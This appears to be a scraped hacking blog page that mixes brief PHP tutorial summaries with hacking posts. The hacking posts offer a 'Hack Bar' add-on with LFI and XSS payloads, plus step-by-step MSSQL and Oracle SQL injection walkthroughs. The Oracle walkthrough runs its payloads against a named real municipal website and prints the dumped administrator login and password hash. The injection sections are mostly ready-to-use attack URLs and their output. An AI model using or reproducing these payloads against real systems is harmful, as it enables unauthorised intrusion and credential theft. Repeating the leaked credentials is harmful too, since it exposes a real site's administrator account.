How To fix Live Http Header Reply button

 Live HTTP Header Fixed

===================================================================================
                                                                Reply Button Fixed
===================================================================================
                                 In the Name of ALLAH the Most Beneficent and the Merciful.
                                                               Assalam-o-Alaikom.

LiveHTTPHeader "Reply" Button Fixed.
By r0ot h3x49.
=========================================================================    How To Install?
=========================================================================1: 1st install add-on "live http headers" from Firefox
Here is Link :- Go Now


Click on  "Help" menu in browser

Click on "Troublshooting information"

Click on "Show Folder" button

Open " Extensions" Folder

Open Folder  "{8f8fe09b-0bd3-4470-bc1b-8cad42b8203a}"

Open Folder  "Chrome"

Replace "livehttpheaders"  by the given patch and enjoy ...

Click Here To Download :- Download Now

Note:-

           "While You are replacing "livehttphears.rar" with this one close your Firefox Browser then replace it and then start and check"

Special Thnx to :---

                  Kazam Veeru <3 & Yogesh Bhagat <3

Gretz to :---

(Ashx khan , Rehan Manzoor , Mak Man , Janus Sloven , Anas Ali , Base64 , Behroz , Amir Dz , Zen bro , Dante bro and all my hacker Frnds... )

Read the rest of this entry »

Posted in kalilinuxtuts , SQLINJECTION

New Hack Bar Version (updated)

                                       Hack Bar New Version

===================================================================================
                                                                r0ot-k4jj1-v1.6.5
===================================================================================
                                 In the Name of ALLAH the Most Beneficent and the Merciful.
                                                               Assalam-o-Alaikom.

Hack Bar Version 1.6.5.
By r0oth3x49 & K44ji gujj4r.
=========================================================================     What's New?
=========================================================================1: Added Some Variable Method Queries.
2:- Added Some great looks and design to this Version.
3:- Added Payloads for LFI.
4:- Added payloads for XSS.
5:- Added Source Code Viewer Add-on (Shortcut Button).
=========================================================================
6:- Added Links to:-
=========================================================================
a: Official Blog
b: Security Idiots
c: Add-on link for Source code viewer etc.


=========================================================================       Bug Fixations
=========================================================================1:- Bug Fixed of Replace Button.
2:- Bug fixed of base64spacer
3:- Bug Fixed for LiveHTTPHeader "Reply" Button.
Special Thanks to.
    Yogesh Bhagat (Sweetyow) &  Janus Slovan For testing. 
Greetz To:-
            Ashx khan , MakMan , Zen , Rummy Khan , AnAs Ali , Amir_Dz , 
           Base64 , Ur0xm , Sn00.py , Shahmeer Amir , Danish Iqbal.
=========================================================================    ./r0ot@H3X49

Click Here to Download :- Download Now
 ========================================================================      Some Pics
=========================================================================

 To Make Look Like this Just Change your default FireFox theme to any them having black background.
  One link of Theme is also given in this hackbar.
 Go to "UNION BASED" Menu and the Label named "LINKS" have the Link of  "Theme" ..

Read the rest of this entry »

Posted in SQLINJECTION

PHP PDO CRUD Tutorial using OOP with Bootstrap

In this tutorial we will see that how to create database CRUD operations using Object Oriented concept in PDO with Bootstrap framework, i have used here Bootstrap framework for front-end design and the MySQL database operations will done by PDO and OOP, recently i have posted pagination tutorial using PDO and OOP and one of my blog reader request me to post that how to use OOP concept to create CRUD operations in PDO, so in this tutorial i I'm going to explain OOP with PDO using Bootstrap framework.

Read more »

Read the rest of this entry »

Posted in Bootstrap , CRUD , Pagination , PDO , PHP OOP

Simple HTML Form Validation using jQuery

We have seen server side form validation using PHP and Client Side Validation using HTML5, and there is also another way to validate HTML forms using jQuery, you can set user defined error messages and it's easy to handle form validations using jQuery, so this tutorial will show you that how to use jQuery to validate forms, we must validate the forms either client side or server side to store and get authenticate details from the users, so this one is also easy to implement in your webpage forms, so take a quick look at this tutorial.

Read more »

Read the rest of this entry »

Posted in jQuery , Validations

MSSQL [asp] Sql injection

The sql injection on asp is same as on php...but a little bit of changes are made...

So first of all we will find some site that is Vulnerable and is on .asp

So assume that u got a site with the name of

Code:

http://www.target.com/

now find page where the site is vul to sql injection...

You can check the Vulnerability by adding single quotation '
at the end of URL like

Code:

http://www.target.com/product.asp?id=13'

If u get this error...

Code:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'department_id=1024''.
/deptdet.asp, line 122

Then this means the site is vul to sql injections...Now we are going to find the columns in it...Normally we use -- at the end of string but in this case we will be using #

Code:

http://www.target.com/product.asp?id=13 order by 1#

Suppose that the site has 10 columns...when you will use the query "order by 1#" (without double quotations)
You will not get any error...the page will load normally...but when you will use the query "order by 11#" (without double quotations) you will get an error this means that the site has 10 columns...

So we will have an error on this query

Code:

http://www.target.com/product.asp?id=13 order by 11#

But when we will use this query, we will not get any error.

Code:

http://www.target.com/product.asp?id=13 order by 10#

This tells us that the table has 10 columns.

Now we will write the query as...

Code:

http://www.target.com/product.asp?id=13 union select 1,2,3,4,5,6,7,8,9,10#

So now in next step we need name of a table to get number of largets visible column from all .. let me explain bit , like in simple sql injection we use union select 1,2,3,4,5,6 -- and we get a number to get information from site , in this we need a table name to get that number of visible column ,

so to get that number we are going to add name of table after union select 1,2,3,4,5,6,7, ..,10

in this scripts of getting table names dont work most times i tried some of them so we will add name of tables manually normally name of tables are " admin,tbladmin,tbl_admin,user,users,login,info,email" etc . Suppose in the site we got admin table that is visible. Now our url will look like

Code:

http://www.target.com/product.asp?id=13 union select 1,2,3,4,5,6,7,8,9,10 from admin#

After this we will get number of largest visible column which we can use to get data from site. Suppose we got 3,7and 6 columns that are visible...

So now we are going to use 3 to get information now all we have to do is just put the name of column instead of 3 in string and we will get username and password ,

Now our URL will look like

Code:

http://www.target.com/product.asp?id=13 union select 1,2,name,4,5,6,7,8,9,10 from admin#

Suppose we got a username instead of the number 3.

and then change column name with passwords column name
you will get the password ;)
URL will be like

Code:

http://www.target.com/product.asp?id=13 union select 1,2,passwords,4,5,6,7,8,9,10 from admin#

Author : LAFANGA

Read the rest of this entry »

Posted in SQLINJECTION

Oracle SQL Injection Tutorial

Hello and welcome to a Oracle SQL injection tutorial. First you need to know that injecting into to Oracle databases is not much different then injecting into others. The only differences are the syntax and different filenames etc... Ok, if you know a site the is vulnerable to some sort of SQLi but, you don't know what database it is, try the following code to check for a Oracle DB.

Code:

https://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL%
20from%20dual--

If it is a Oracle DB you should get a error like:

Code:

[Oracle][ODBC][Ora]ORA-01789: query block has incorrect number of result
columns

Now to find the amount of columns in the DB you will keep adding NULL data until you no longer receive and error.

Code:

https://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL,NULL,NULL,NULL%
20from%20dual--

Now that you have the number of columns you can proceed to extract data from the DB. In this guide I will only show how to extract the account info but, other info can be extracted as well.

Now we try to find which column uses "string" data type. To do this we replace the first "NULL" with 'a'. If you receive an error replace the 'a' with Null and try the next "NULL". An example of this is:

Code:

https://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL,'a','a',NULL%
20from%20dual--

Once you find the columns that use string data types you can start to search for the names of the tables containing useful info. To do this we use the "user_objects" table.We also use the "object_name" and "object_type" table names to show what the names and types of tables are that are specified as user data (Credentials). A example of the following would be like so:

Code:

https://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL,
object_name,object_type,NULL%20from%20user_objects--

As you can see, we use the columns that use string data to show object_name and object_type.


Tip: You can also use the all_user_objects table instead of user_objects. This will show all info seen by the user even if the user does not owned it.

We should now see many different table names and types. If you don't, and you get and error, try removing NULL values and finding the columns that use string data type.

In my example lets just say we found a table called USERS. We will attempt to find the names of the column inside this table by using the user_tab_columns table like so:

Code:

https://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL,
column_name,NULL,NULL%20from%20user_tab_columns%20where%20table_name%20%
3d%20Â’USERSÂ’--

Note: %3d is a URL encoded = and %20 is a URL encode whitespace (spacebar).

Now lets say we get login, password, and priviledge columns. We can query these by using the following code:

Code:

https://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL,
login,password,priviledge%20from%20users--

You should get the login username, password, and priviledge level!

Tip: If there is only one column that uses string data type then you can concatenate multiple columns like so:

Code:

https://somesite.com/calender.asp?day=7%20UNION%20SELECT%20NULL,
login||Â’:Â’||password||Â’:Â’||priviledge,NULL,NULL%20from%20user_objects--

This is just like the concat command in MySQL.

Tip: If you want to perfect your oracle injection knowledge I recommend getting some e-books on oracle and installing oracle on your localhost. This way you can practice on your DB.
                                                     
                                                          Live Example

PHP Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=122 

Let's try order by 

PHP Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=122 order by 1 

look under the picture shit stays like this
Sei in : Home -> Citta' -> Congressi

At order by 7 boom changes

PHP Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=122%20order%20by%207 

Sei in : Home -> Citta' ->
Then no. of columns=6

Time to use union select

PHP Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=122 union select null,null,null,null,null,null 

LOLS...Vulnerable column isn't shown..
Let's try all columns

PHP Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=122 union select banner,null,null,null,null,null from v$version 

nothing shown wrong column

PHP Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=122 union select null,banner,null,null,null,null from v$version 

word congress shown again..This is the right column

VERSION

Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,banner,NULL,NULL,NULL,NULL from v$version--

CORE 9.2.0.6.0 Production

CURRENT USER

Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,user,NULL,NULL,NULL,NULL from dual--

WWWTARANTO

CURRENT DATABASE

Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,SYS.DATABASE_NAME,NULL,NULL,NULL,NULL from DUAL--

CSTTA

Retrieving user created tables and columns from user_tab_columns. concat() works but takes only 2 parameters.

Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,rawtohex(table_name||chr(58)||column_name),NULL,NULL,NULL,NULL from USER_TAB_COLUMNS--

54425F414C424F3A444154415F45534543555A494F4E45
convert this hex value to string.
TB_ALBO:DATA_ESECUZIONE
N.B:you can also use the following command

http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,(table_name||chr(58)||column_name),NULL,NULL,NULL,NULL from USER_TAB_COLUMNS--

To find the next column of table TB_ALBO

Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,rawtohex(table_name||chr(58)||column_name),NULL,NULL,NULL,NULL from USER_TAB_COLUMNS where column_name> CHR(68) || CHR(65) || CHR(84) || CHR(65) || CHR(95) || CHR(69) || CHR(83) || CHR(69) || CHR(67) || CHR(85) || CHR(90) || CHR(73) || CHR(79) || CHR(78) || CHR(69)--

Code:CHR(68) || CHR(65) || CHR(84) || CHR(65) || CHR(95) || CHR(69) || CHR(83) || CHR(69) || CHR(67) || CHR(85) || CHR(90) || CHR(73) || CHR(79) || CHR(78) || CHR(69) = DATA_ESECUZIONE

54425F414C424F3A444154415F505542424C4943415A494F4E45TB_ALBO:DATA_PUBBLICAZIONE

using > all columns can be retrieved. If any error is generated or query jumps to some other table, then move on to the next table.
MOVING TO NEXT TABLE

Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,rawtohex(table_name||chr(58)||column_name),NULL,NULL,NULL,NULL from USER_TAB_COLUMNS where table_name> CHR(84) || CHR(66) || CHR(95) || CHR(65) || CHR(76) || CHR(66) || CHR(79)--

54425F414C424F5F444F43554D454E544F3A4445534352495A494F4E45
TB_ALBO_DOCUMENTO:DESCRIZIONE

MOVING TO NEXT COLUMN OF TABLE TB_ALBO_DOCUMENTO

Code:http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,rawtohex(table_name||chr(58)||column_name),NULL,NULL,NULL,NULL from USER_TAB_COLUMNS where table_name> CHR(84) || CHR(66) || CHR(95) || CHR(65) || CHR(76) || CHR(66) || CHR(79) and column_name> CHR(68) || CHR(69) || CHR(83) || CHR(67) || CHR(82) || CHR(73) || CHR(90) || CHR(73) || CHR(79) || CHR(78) || CHR(69)--

54425F414C424F5F444F43554D454E544F3A4944
TB_ALBO_DOCUMENTO:ID

EXTRACTING DATA

Code:

http://www.comune.taranto.it/citta/dettaglio_news.php?id_news=491&id_categoria=-122 union select NULL,rawtohex(LOGIN||chr(58)||PASSWORD),NULL,NULL,NULL,NULL from TB_UTENTE--

61646D696E6973747261746F723A3966323165646463363865663338373837666235656639313939​316265613264

administrator:9f21eddc68ef38787fb5ef91991bea2d
AUTHOR: Lafanga

Read the rest of this entry »

Posted in SQLINJECTION

How to Create Pagination with PHP, PDO using OOP

In this tutorial we will see that how to create Pagination with PHP, PDO using OOP concept, when we have number of records in database then we must Paginate the data, this is very Simple tutorial using PDO and OOP without using Ajax or jQuery it is based on pure PHP, i have created one class file using that class file you can make Pagination of database records and this class file featured with next and previous links based on the page.

Read more »

Read the rest of this entry »

Posted in Pagination , PDO , PHP , PHP OOP